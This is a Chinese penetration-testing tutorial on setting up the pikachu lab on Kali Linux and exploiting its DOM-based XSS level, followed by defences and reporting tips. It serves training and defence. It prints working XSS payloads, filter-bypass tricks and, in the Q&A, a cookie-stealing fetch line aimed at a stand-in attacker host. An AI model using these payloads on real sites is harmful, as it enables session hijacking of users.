资讯详情

资讯详情

Kali Linux搭建pikachu靶场实战DOM型XSS漏洞

1. 项目概述DOM型XSS漏洞实战环境搭建在Kali Linux系统上搭建pikachu靶场进行DOM型XSS漏洞测试是当前渗透测试工程师的必修课。这个开源靶场完美模拟了Web应用中最危险的客户端漏洞之一——DOM型跨站脚本攻击Cross-Site Scripting。与反射型、存储型XSS不同DOM型XSS的恶意代码执行完全发生在浏览器端传统服务端防护措施往往对其无效。我首次接触这个靶场是在三年前的一次企业渗透测试项目中当时客户系统就因为DOM型XSS导致用户Cookie被窃取。通过pikachu靶场的实验环境我们可以深入理解攻击原理掌握防御方案。靶场内置的DOM型XSS挑战关卡模拟了真实业务中URL参数被直接写入DOM树的危险场景。2. 环境准备与靶场部署2.1 Kali Linux基础配置作为渗透测试的标准系统Kali Linux需要先完成以下准备工作sudo apt update sudo apt upgrade -y sudo apt install -y apache2 php mysql-server php-mysql关键配置点在于PHP环境参数调整修改/etc/php/7.4/apache2/php.ini版本号随系统变化display_errors On error_reporting E_ALL这能确保在测试过程中看到完整的错误信息对于调试XSS payload非常有用。2.2 pikachu靶场安装从GitHub克隆最新代码库git clone https://github.com/zhuifengshaonianhanlu/pikachu.git sudo cp -r pikachu /var/www/html/数据库初始化是关键步骤需要特别注意字符集配置mysql CREATE DATABASE pikachu CHARACTER SET utf8mb4; mysql USE pikachu; mysql source /var/www/html/pikachu/pikachu.sql;完成后访问http://localhost/pikachu你会看到如下图所示的初始化界面注意如果遇到页面乱码问题检查MySQL连接配置/var/www/html/pikachu/inc/config.inc.php中的charset参数应设置为utf8mb43. DOM型XSS原理深度解析3.1 与传统XSS的本质区别DOM型XSS的特殊性在于漏洞触发完全依赖客户端JavaScript对DOM树的修改。以pikachu靶场的第三关为例攻击流程如下用户访问包含恶意参数的URLhttp://target/xss.php?payloadscriptalert(1)/script页面JavaScript代码直接读取URL参数并写入DOMdocument.write(location.hash.substring(1));浏览器解析执行注入的脚本与服务器端返回的XSS不同这个过程中恶意代码不会经过服务端处理WAF等防护设备无法检测。3.2 漏洞代码实例分析打开/var/www/html/pikachu/vul/xss/xssdom.php关键漏洞代码如下script function domxss(){ var str window.location.search; var txss decodeURIComponent(str.split(text)[1]); document.getElementById(dom).innerHTML a hreftxss就让往事都随风~/a; } /script这段代码存在三个致命问题直接使用location.search获取未经验证的URL参数使用innerHTML进行动态DOM操作字符串拼接未做任何转义处理4. 实战攻击过程全记录4.1 基础攻击向量构造在DOM型XSS中payload需要适配JavaScript上下文环境。测试以下向量http://localhost/pikachu/vul/xss/xssdom.php?textjavascript:alert(XSS)这个payload利用了HTML属性注入当用户点击生成的链接时触发脚本执行。进阶payload示例http://localhost/pikachu/vul/xss/xssdom.php?textonmouseoveralert(1)这个向量会在鼠标悬停时触发不需要点击动作。4.2 利用技巧与绕过方法现代浏览器内置的XSS过滤器可以通过以下方式绕过使用String.fromCharCode编码textjavascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))利用SVG标签特性textsvg/onloadalert(1)拆分攻击向量textjavas cript:alert(1)实测在Chrome 93版本中这些方法仍有部分可以成功执行。5. 防御方案与最佳实践5.1 客户端防护措施严格验证输入源function sanitize(input) { return input.replace(/[]/g, function(match) { return { : lt;, : gt;, : quot;, : #39;, : amp; }[match]; }); }使用textContent代替innerHTMLdocument.getElementById(dom).textContent userInput;5.2 服务端加固方案虽然DOM型XSS主要发生在客户端但服务端仍可采取以下措施设置Content Security Policy头Content-Security-Policy: default-src self; script-src self unsafe-inline实现URL参数签名机制防止参数篡改6. 企业级渗透测试要点在真实项目中进行DOM型XSS测试时需要特别注意使用专业工具链# 使用ZAP进行自动化扫描 zap-cli quick-scan --self-contained http://target/pikachu记录完整的攻击链注入点定位payload成功执行证明可能的影响范围评估编写漏洞报告时应包含完整复现步骤风险等级评估CVSS评分具体修复建议7. 常见问题排查指南Q1payload未执行怎么办A按以下步骤排查检查浏览器控制台是否有CSP错误验证payload是否被URL编码破坏测试不同事件处理器onload/onerror等Q2如何验证DOM型XSS的真实影响A构造实际攻击场景http://target/pikachu/vul/xss/xssdom.php?textjavascript:fetch(http://attacker.com/steal?cookiedocument.cookie)然后在攻击服务器监控收到的请求。Q3靶场环境与真实业务的主要差异A真实业务中还需要考虑单页应用框架React/Vue的特殊处理第三方库引入的额外风险业务逻辑上下文的影响在完成pikachu靶场实验后建议继续尝试PortSwigger的DOM型XSS实验室那里提供了更接近真实业务的复杂场景。记住防御DOM型XSS的关键在于永远不要信任客户端任何输入数据包括URL、本地存储和postMessage消息。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →